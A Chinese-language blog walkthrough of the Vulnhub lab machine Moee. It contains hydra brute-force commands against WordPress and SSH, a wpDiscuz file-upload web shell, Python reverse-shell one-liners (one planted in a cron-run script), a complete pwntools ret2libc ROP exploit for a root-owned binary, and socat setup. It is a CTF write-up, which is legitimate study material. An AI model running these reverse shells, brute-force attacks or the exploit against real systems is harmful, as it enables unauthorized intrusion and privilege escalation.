Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub靶机Moee的Walkthough(linux下ROP溢出提权)

    Moee的下载地址是https://www.vulnhub.com/entry/moee-1,608/,难度评级是insane。

    VirutalBox导入靶机,运行后扫描端口,开了22和80。

    图片.png


    直接输入IP地址访问出错,将/etc/hosts加上moee后,可以正常访问,是一个wordpress网站。接下来用wpscan扫描:

    wpscan --url http://moee  --api-token $(cat wpscan_token) --plugins-detection aggressive

    扫描后发现了几个用户,以及一个可能的漏洞。

    图片.png


    测试了一下那个漏洞,没有成功。于是考虑使用用户名进行一轮爆破。将刚才扫描到的用户名保存到names.txt,使用hydra进行爆破。

 hydra -L names.txt -P /usr/share/wordlists/rockyou.txt -t 50 -f moee http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect"


    等待几分钟以后得到其中一个用户名和密码(估计也没有别的弱密码了)。

    图片.png


    登录后发现是普通用户,并没有修改模板的权限,但是有个评论提到wpdiscuz插件,应该还是要利用刚才有漏洞的插件。网上可以搜到利用的参考文件:http://www.mannulinux.org/2020/07/file-upload-vulnerability-wpDiscuz.html。这里,可以利用插件漏洞上传包含有一句话的图片木马。

    图片.png

   

   

    直接访问图片木马文件,然后传入参数测试一下,确实可以执行。

   图片.png


    接下来,在命令参数处传入著名的python反弹shell代码:

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR IP",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    这时就可以得到反弹的shell了。接下来可以在wp-config.php里找到mysql的用户名和密码,但之前参考的文章说这是个rabbit hole,我就不在这里浪费时间了。其实,有用的信息在/var/www/public_html/wp-includes/wp-db.php中(挺坑人的)。

    图片.png

    用这个用户名和密码登录mysql。然后又得到了几个用户名和密码。

    图片.png

    其中,Snork的密码是一个链接,打开后可以得到一个字典。


  图片.png



    将文件下载到本地,用下面的命令将空格和邮件去除,只剩下第一列的密码。

awk '{print $1}' list.txt> passwd.txt


    之前我们已经从wordpress中生成了用户名词典,这里又得到了一个密码字典。下面直接试一下ssh的爆破。

    图片.png


    ssh成功登录,接下来需要考虑怎么提权了。Joxter不能执行sudo,看来还得找找其它的隐藏信息。用下面的命令找一找哪些是Joxter的可写文件:

find / -writable -not -path "/proc*" 2>/dev/null

    最后一行的文件有点意思,是一个脚本文件。

    图片.png

    文件信息显示这个文件的所有者是Boe,但组是devsec,而我们的Joxter用户也是这个组的,所以我们可以往文件里加代码。

    图片.png


   剩下来还要看一看这个文件有没有被系统执行。我们使用pspy进行查看,果然,隔了一段时间,就显示Flag.py被系统执行了(这个等待时间挺长,作者真够坏的)。

    图片.png


    我们直接把反弹shell的python代码写入这个文件。

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/Flag.py

                                                                                                   
    不一会儿,就成功得到Boe用户的反弹shell。

    图片.png


    在Boe的home目录里,发现root权限的ropit文件,看来最后提权的关键很有可能在这个文件上(其实从名字上就可以看出来,这里需要用到ROP,也就是Ret Oriented Programming技术来获取shell)。

    图片.png


    把这个文件下载到本地,用新鲜出炉(泄漏)的IDA 7.5看一下。

    


    可以看到,这个程序的功能非常简单,就是输出两个字符串,再调用一个gets,看来溢出点就在这个gets上。溢出的第一点要确定溢出字符串的长度,从反汇编代码中可以看出,var_400变量预留的空间的400h(1024),再加上一个保存的rbp(8个字符),那么溢出的地址应该是1024+8=1032。

    在Linux下,一般用gdb配合PEDA动态来确定溢出字符串的长度。gdb加载后,用pattern 2000创建特征字符串。输入r,运行程序,然后输入刚才创建的特征字符串。

    图片.png


    接着用pattern offset 检测 rsp(也就是当前堆栈指针)所指向的字符串,可以确定偏移就是1032。

    图片.png

   

    接下来,就是利用pwntools编写exp。通常是先本机测试,待成功获取shell后,再进行远程溢出。由于之前没有接触过ROP和pwntools,恶补了一天相关工具的使用。ROP的具体技术就不再赘述了,网上有很多文章。直接给出exp的代码。

from pwn import * # Import pwntools
p=remote('192.168.56.18',12345)
elf = ELF("./ropit")# 这是已经下载到本地的elf文件
libc = ELF("libc.so.6")#这也是下载到本地的libc.so.6,是ropit需要调用的
rop = ROP(elf)# Find ROP gadgets
PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]# Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
#Overflow buffer until return address
base = b"A"*1032
# Create rop chain
# 这个chain的最后是原程序的main,相当于重新执行原程序
rop = base + p64(POP_RDI) + p64(LIBC_START_MAIN) +  p64(PUTS) + p64(MAIN)
#读取程序输出
res=p.recvuntil("Let's see what you can use to get the root of this box.\n")
#Send our rop-chain payload
p.sendline(rop)
#Parse leaked address
p.recvline()
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, b"\x00"))
log.info("Leaked libc address,  __libc_start_main: %s" % hex(leak))
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(libc.address))
BINSH = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
#这二段rop代码,执行/bin/sh的关键
rop2 = base + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
#第一段rop执行后,最后会返回ropit的main,相当于再执行一遍。所以这里再次读取程序输出
res=p.recvuntil("Let's see what you can use to get the root of this box.\n")
#发送第二段代码
p.sendline(rop2)
p.interactive()

   

    由于靶机没有安装pwntools,所以这里采取远程发送payload的方式,但是得在靶机上安装socat,并将程序映射到某个端口上。

wget http://192.168.56.100/socat-1.7.3.4.tar.gz
tar xzf socat-1.7.3.4.tar.gz
cd socat-1.7.3.4
./configure
make
make install
./socat tcp-listen:12345,reuseaddr,fork EXEC:./ropit,pty,raw,echo=0 &

    一切准备就绪,在本机运行exp.py,成功获得root权限。

    图片.png


    最后,提供两篇非常好的参考文献,本篇的代码也是基本参考文献中的代码进行修改。

    1.  Binary exploitation: ret2libc + unknown libc

    2.  Moee: 1 Vulnhub (Writeup)

   

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0